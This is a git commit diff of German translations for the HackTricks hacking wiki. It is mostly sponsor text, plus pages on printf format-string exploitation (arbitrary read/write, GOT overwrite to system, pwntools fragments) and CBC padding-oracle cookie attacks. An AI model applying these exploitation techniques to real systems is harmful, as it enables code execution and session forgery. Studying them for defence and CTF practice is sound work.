mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['README.md', 'binary-exploitation/format-strings/README.md',
This commit is contained in:
parent
5887b444a0
commit
4f9b0fd77d
43 changed files with 1117 additions and 702 deletions
26
README.md
26
README.md
|
@ -32,7 +32,7 @@ Sie können ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.st
|
|||
|
||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) ist die relevanteste Cybersicherheitsveranstaltung in **Spanien** und eine der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
|
||||
[**RootedCON**](https://www.rootedcon.com) ist die relevanteste Cybersicherheitsveranstaltung in **Spanien** und eine der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsexperten in jeder Disziplin.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -67,10 +67,10 @@ Zugriff heute erhalten:
|
|||
|
||||
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug Bounty-Jägern zu kommunizieren!
|
||||
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug Bounty Jägern zu kommunizieren!
|
||||
|
||||
* **Hacking Einblicke:** Engagieren Sie sich mit Inhalten, die in die Aufregung und Herausforderungen des Hackens eintauchen
|
||||
* **Echtzeit-Hack-Nachrichten:** Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeit-Nachrichten und Einblicke
|
||||
* **Echtzeit-Hack-Nachrichten:** Bleiben Sie auf dem Laufenden mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke
|
||||
* **Neueste Ankündigungen:** Bleiben Sie informiert über die neuesten Bug Bounties und wichtige Plattform-Updates
|
||||
|
||||
**Treten Sie uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!
|
||||
|
@ -79,12 +79,14 @@ Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
|
|||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Das essentielle Toolkit für Penetrationstests
|
||||
|
||||
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zu geben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Netzwerke und Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
\
|
||||
|
||||
|
||||
{% endembed %}
|
||||
|
||||
|
@ -94,7 +96,7 @@ Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
|
|||
|
||||
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi** bietet schnelle und einfache Echtzeit-APIs, um **auf Suchmaschinenergebnisse** zuzugreifen. Sie scrapen Suchmaschinen, verwalten Proxys, lösen Captchas und parsen alle strukturierten Daten für Sie.
|
||||
**SerpApi** bietet schnelle und einfache Echtzeit-APIs, um **auf Suchmaschinenergebnisse** zuzugreifen. Sie scrapen Suchmaschinen, verwalten Proxys, lösen Captchas und parsen alle reichhaltigen strukturierten Daten für Sie.
|
||||
|
||||
Ein Abonnement eines der SerpApi-Pläne umfasst den Zugriff auf über 50 verschiedene APIs zum Scrapen verschiedener Suchmaschinen, einschließlich Google, Bing, Baidu, Yahoo, Yandex und mehr.\
|
||||
Im Gegensatz zu anderen Anbietern **scrapt SerpApi nicht nur organische Ergebnisse**. Die Antworten von SerpApi enthalten konsequent alle Anzeigen, Inline-Bilder und Videos, Wissensgraphen und andere Elemente und Funktionen, die in den Suchergebnissen vorhanden sind.
|
||||
|
@ -109,13 +111,13 @@ Sie können **hier ein kostenloses Konto erstellen** [**hier**](https://serpapi.
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) ist ein professionelles Cybersicherheitsunternehmen mit Sitz in **Amsterdam**, das **Unternehmen auf der ganzen Welt** dabei hilft, sich gegen die neuesten Cybersicherheitsbedrohungen zu **schützen**, indem es **Offensive-Security-Dienste** mit einem **modernen** Ansatz anbietet.
|
||||
[**WebSec**](https://websec.nl) ist ein professionelles Cybersicherheitsunternehmen mit Sitz in **Amsterdam**, das **Unternehmen** auf der ganzen Welt **schützt** vor den neuesten Bedrohungen der Cybersicherheit, indem es **Offensive-Security-Dienste** mit einem **modernen** Ansatz anbietet.
|
||||
|
||||
WebSec ist ein **All-in-One-Sicherheitsunternehmen**, was bedeutet, dass sie alles machen; Pentesting, **Sicherheits**-Audits, Awareness-Trainings, Phishing-Kampagnen, Code-Überprüfungen, Exploit-Entwicklung, Outsourcing von Sicherheitsexperten und vieles mehr.
|
||||
WebSec ist ein **All-in-One-Sicherheitsunternehmen**, was bedeutet, dass sie alles anbieten; Pentesting, **Sicherheits**-Audits, Awareness-Trainings, Phishing-Kampagnen, Code-Überprüfungen, Exploit-Entwicklung, Outsourcing von Sicherheitsexperten und vieles mehr.
|
||||
|
||||
Ein weiterer cooler Aspekt von WebSec ist, dass WebSec im Gegensatz zum Branchendurchschnitt **sehr zuversichtlich in ihre Fähigkeiten ist**, so sehr, dass sie **die besten Qualitätsresultate garantieren**. Auf ihrer Website steht: "**Wenn wir es nicht hacken können, zahlen Sie nicht!**". Für weitere Informationen werfen Sie einen Blick auf ihre [**Website**](https://websec.nl/en/) und ihren [**Blog**](https://websec.nl/blog/)!
|
||||
Ein weiterer cooler Aspekt von WebSec ist, dass WebSec im Gegensatz zum Branchendurchschnitt **sehr zuversichtlich in ihre Fähigkeiten ist**, so sehr, dass sie **die besten Qualitätsresultate garantieren**, es steht auf ihrer Website "**Wenn wir es nicht hacken können, zahlen Sie nicht!**". Für weitere Informationen werfen Sie einen Blick auf ihre [**Website**](https://websec.nl/en/) und [**Blog**](https://websec.nl/blog/)!
|
||||
|
||||
Zusätzlich zu den oben genannten Punkten ist WebSec auch ein **engagierter Unterstützer von HackTricks.**
|
||||
Zusätzlich zu den oben genannten ist WebSec auch ein **engagierter Unterstützer von HackTricks.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
|
@ -141,7 +143,7 @@ Lernen & üben Sie GCP Hacking: <img src=".gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,18 +10,25 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
In C **`printf`** ist eine Funktion, die verwendet werden kann, um **einen** String **auszugeben**. Der **erste Parameter**, den diese Funktion erwartet, ist der **rohe Text mit den Formatierern**. Die **folgenden Parameter**, die erwartet werden, sind die **Werte**, um die **Formatierer** aus dem rohen Text zu **ersetzen**.
|
||||
|
||||
Andere verwundbare Funktionen sind **`sprintf()`** und **`fprintf()`**.
|
||||
|
||||
Die Verwundbarkeit tritt auf, wenn ein **Angreifertext als erstes Argument** für diese Funktion verwendet wird. Der Angreifer kann eine **spezielle Eingabe erstellen, die** die **printf-Format**-String-Funktionen ausnutzt, um **beliebige Daten an beliebiger Adresse (lesbar/schreibbar)** zu lesen und **zu schreiben**. Auf diese Weise kann er **beliebigen Code ausführen**.
|
||||
Die Verwundbarkeit tritt auf, wenn ein **Angreifertext als erstes Argument** an diese Funktion übergeben wird. Der Angreifer kann eine **spezielle Eingabe erstellen, die** die **printf-Format**-String-Funktionen ausnutzt, um **beliebige Daten an beliebiger Adresse (lesbar/schreibbar)** zu lesen und **zu schreiben**. Dadurch ist es möglich, **beliebigen Code auszuführen**.
|
||||
|
||||
#### Formatierer:
|
||||
```bash
|
||||
|
@ -66,7 +73,7 @@ return 0;
|
|||
```
|
||||
### **Zugriff auf Zeiger**
|
||||
|
||||
Das Format **`%<n>$x`**, wobei `n` eine Zahl ist, ermöglicht es, printf anzuzeigen, dass der n-te Parameter (vom Stack) ausgewählt werden soll. Wenn Sie also den 4. Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun:
|
||||
Das Format **`%<n>$x`**, wobei `n` eine Zahl ist, ermöglicht es, printf anzuweisen, den n-ten Parameter (vom Stack) auszuwählen. Wenn Sie also den 4. Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
|
@ -86,7 +93,7 @@ Ein Angreifer, der diese Eingabe kontrolliert, wird in der Lage sein, **willkür
|
|||
|
||||
## **Willkürliches Lesen**
|
||||
|
||||
Es ist möglich, den Formatter **`%n$s`** zu verwenden, um **`printf`** die **Adresse** an der **n Position** zu entnehmen, die ihm folgt, und **sie so zu drucken, als wäre es eine Zeichenkette** (drucken, bis ein 0x00 gefunden wird). Wenn also die Basisadresse des Binaries **`0x8048000`** ist und wir wissen, dass die Benutzereingabe an der 4. Position im Stack beginnt, ist es möglich, den Anfang des Binaries mit:
|
||||
Es ist möglich, den Formatter **`%n$s`** zu verwenden, um **`printf`** die **Adresse** an der **n Position** zu entnehmen, die ihm folgt, und **sie so zu drucken, als wäre es eine Zeichenkette** (drucken, bis ein 0x00 gefunden wird). Wenn die Basisadresse des Binaries **`0x8048000`** ist und wir wissen, dass die Benutzereingabe an der 4. Position im Stack beginnt, ist es möglich, den Anfang des Binaries mit:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -105,7 +112,7 @@ Beachten Sie, dass Sie die Adresse 0x8048000 nicht am Anfang der Eingabe setzen
|
|||
|
||||
### Offset finden
|
||||
|
||||
Um den Offset zu Ihrer Eingabe zu finden, könnten Sie 4 oder 8 Bytes (`0x41414141`) senden, gefolgt von **`%1$x`** und den Wert **erhöhen**, bis Sie die `A's` erhalten.
|
||||
Um den Offset zu Ihrer Eingabe zu finden, könnten Sie 4 oder 8 Bytes (`0x41414141`) gefolgt von **`%1$x`** senden und den Wert **erhöhen**, bis Sie die `A's` erhalten.
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -217,7 +224,7 @@ p.interactive()
|
|||
```
|
||||
## Format-Strings zu BOF
|
||||
|
||||
Es ist möglich, die Schreibaktionen einer Format-String-Sicherheitsanfälligkeit auszunutzen, um **in Adressen des Stacks zu schreiben** und eine **Pufferüberlauf**-Art von Sicherheitsanfälligkeit auszunutzen.
|
||||
Es ist möglich, die Schreibaktionen einer Format-String-Sicherheitsanfälligkeit auszunutzen, um **in Adressen des Stacks zu schreiben** und eine **Buffer Overflow**-Art von Sicherheitsanfälligkeit auszunutzen.
|
||||
|
||||
## Weitere Beispiele & Referenzen
|
||||
|
||||
|
@ -227,21 +234,25 @@ Es ist möglich, die Schreibaktionen einer Format-String-Sicherheitsanfälligkei
|
|||
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
||||
* 32 Bit, kein relro, kein canary, nx, kein pie, grundlegende Verwendung von Format-Strings, um das Flag vom Stack zu leaken (keine Notwendigkeit, den Ausführungsfluss zu ändern)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||
* 32 Bit, relro, kein canary, nx, kein pie, Format-String, um die Adresse `fflush` mit der Gewinnfunktion (ret2win) zu überschreiben
|
||||
* 32 Bit, relro, kein canary, nx, kein pie, Format-String, um die Adresse `fflush` mit der Win-Funktion (ret2win) zu überschreiben
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||
* 32 Bit, relro, kein canary, nx, kein pie, Format-String, um eine Adresse innerhalb von main in `.fini_array` zu schreiben (damit der Fluss ein weiteres Mal zurückschleift) und die Adresse zu `system` in der GOT-Tabelle zu schreiben, die auf `strlen` zeigt. Wenn der Fluss zurück zu main geht, wird `strlen` mit Benutzereingaben ausgeführt und zeigt auf `system`, es werden die übergebenen Befehle ausgeführt.
|
||||
* 32 Bit, relro, kein canary, nx, kein pie, Format-String, um eine Adresse innerhalb von main in `.fini_array` zu schreiben (damit der Fluss ein weiteres Mal zurückläuft) und die Adresse zu `system` in der GOT-Tabelle zu schreiben, die auf `strlen` zeigt. Wenn der Fluss zurück zu main geht, wird `strlen` mit Benutzereingaben ausgeführt und zeigt auf `system`, es werden die übergebenen Befehle ausgeführt.
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,6 +15,10 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## CBC - Cipher Block Chaining
|
||||
|
||||
Im CBC-Modus wird der **vorherige verschlüsselte Block als IV** verwendet, um mit dem nächsten Block zu XORen:
|
||||
|
@ -29,10 +33,10 @@ Beachten Sie, dass es notwendig ist, einen **Verschlüsselungs** **schlüssel**
|
|||
|
||||
## Nachrichten-Padding
|
||||
|
||||
Da die Verschlüsselung in **festen** **Größen** **Blöcken** durchgeführt wird, ist in dem **letzten** **Block** normalerweise **Padding** erforderlich, um seine Länge zu vervollständigen.\
|
||||
In der Regel wird **PKCS7** verwendet, das ein Padding erzeugt, das die **Anzahl** der **benötigten** **Bytes** **wiederholt**, um den Block zu vervollständigen. Wenn der letzte Block beispielsweise 3 Bytes fehlt, wird das Padding `\x03\x03\x03` sein.
|
||||
Da die Verschlüsselung in **festen** **Größen** **Blöcken** durchgeführt wird, ist **Padding** normalerweise im **letzten** **Block** erforderlich, um seine Länge zu vervollständigen.\
|
||||
Normalerweise wird **PKCS7** verwendet, das ein Padding erzeugt, das die **Anzahl** der **benötigten** **Bytes** **wiederholt**, um den Block zu vervollständigen. Wenn der letzte Block beispielsweise 3 Bytes fehlt, wird das Padding `\x03\x03\x03` sein.
|
||||
|
||||
Schauen wir uns weitere Beispiele mit **2 Blöcken der Länge 8 Bytes** an:
|
||||
Schauen wir uns weitere Beispiele mit **2 Blöcken von 8 Bytes Länge** an:
|
||||
|
||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||
|
@ -101,14 +105,18 @@ Dann die gleichen Schritte wiederholen, um C14 zu entschlüsseln: **`C14 = E6 ^
|
|||
### Erkennung der Schwachstelle
|
||||
|
||||
Registrieren Sie sich und melden Sie sich mit diesem Konto an.\
|
||||
Wenn Sie sich **mehrmals anmelden** und immer dasselbe **Cookie** erhalten, ist wahrscheinlich **etwas** **falsch** in der Anwendung. Das **zurückgesendete Cookie sollte jedes Mal einzigartig sein**, wenn Sie sich anmelden. Wenn das Cookie **immer** dasselbe ist, wird es wahrscheinlich immer gültig sein und es **wird keinen Weg geben, es zu ungültig zu machen**.
|
||||
Wenn Sie sich **mehrmals anmelden** und immer dasselbe **Cookie** erhalten, ist wahrscheinlich **etwas** **falsch** in der Anwendung. Das **zurückgesendete Cookie sollte jedes Mal einzigartig sein**, wenn Sie sich anmelden. Wenn das Cookie **immer** dasselbe ist, wird es wahrscheinlich immer gültig sein und es **wird keinen Weg geben, es zu invalidieren**.
|
||||
|
||||
Wenn Sie jetzt versuchen, das **Cookie zu modifizieren**, sehen Sie, dass Sie einen **Fehler** von der Anwendung erhalten.\
|
||||
Aber wenn Sie das Padding brute-forcen (zum Beispiel mit padbuster), schaffen Sie es, ein anderes Cookie zu erhalten, das für einen anderen Benutzer gültig ist. Dieses Szenario ist höchstwahrscheinlich anfällig für padbuster.
|
||||
Aber wenn Sie das Padding brute-forcen (zum Beispiel mit Padbuster), schaffen Sie es, ein anderes Cookie zu erhalten, das für einen anderen Benutzer gültig ist. Dieses Szenario ist höchstwahrscheinlich anfällig für Padbuster.
|
||||
|
||||
### Referenzen
|
||||
|
||||
* [https://de.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://de.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -120,7 +128,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
{% hint style="success" %}
|
||||
Lernen Sie & üben Sie AWS-Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen Sie & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -8,97 +8,127 @@ Lernen Sie & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# CBC - Cipher Block Chaining
|
||||
|
||||
Im CBC-Modus wird der **vorherige verschlüsselte Block als IV** verwendet, um mit dem nächsten Block zu XOR-en:
|
||||
Im CBC-Modus wird der **vorherige verschlüsselte Block als IV** verwendet, um mit dem nächsten Block zu XORen:
|
||||
|
||||
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
||||
|
||||
Um CBC zu entschlüsseln, werden die **gegenteiligen Operationen** durchgeführt:
|
||||
Um CBC zu entschlüsseln, werden die **entgegengesetzten** **Operationen** durchgeführt:
|
||||
|
||||
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||||
|
||||
Beachten Sie, dass ein **Verschlüsselungs**-**Schlüssel** und ein **IV** verwendet werden müssen.
|
||||
Beachten Sie, dass es notwendig ist, einen **Verschlüsselungs** **schlüssel** und ein **IV** zu verwenden.
|
||||
|
||||
# Nachrichten-Padding
|
||||
|
||||
Da die Verschlüsselung in **festen** **Blockgrößen** durchgeführt wird, ist in **letztem** **Block** normalerweise ein Padding erforderlich, um seine Länge zu vervollständigen.\
|
||||
Normalerweise wird **PKCS7** verwendet, das ein Padding generiert, das die **Anzahl** der **benötigten Bytes** zum **Vervollständigen** des Blocks **wiederholt**. Wenn beispielsweise im letzten Block 3 Bytes fehlen, wird das Padding `\x03\x03\x03` sein.
|
||||
Da die Verschlüsselung in **festen** **Größen** **Blöcken** durchgeführt wird, ist in dem **letzten** **Block** normalerweise **Padding** erforderlich, um seine Länge zu vervollständigen.\
|
||||
Normalerweise wird **PKCS7** verwendet, das ein Padding erzeugt, das die **Anzahl** der **benötigten** **Bytes** **wiederholt**, um den Block zu vervollständigen. Wenn der letzte Block beispielsweise 3 Bytes fehlt, wird das Padding `\x03\x03\x03` sein.
|
||||
|
||||
Schauen wir uns weitere Beispiele mit **2 Blöcken der Länge 8 Bytes** an:
|
||||
Schauen wir uns weitere Beispiele mit **2 Blöcken von 8 Bytes Länge** an:
|
||||
|
||||
| Byte #0 | Byte #1 | Byte #2 | Byte #3 | Byte #4 | Byte #5 | Byte #6 | Byte #7 | Byte #0 | Byte #1 | Byte #2 | Byte #3 | Byte #4 | Byte #5 | Byte #6 | Byte #7 |
|
||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||
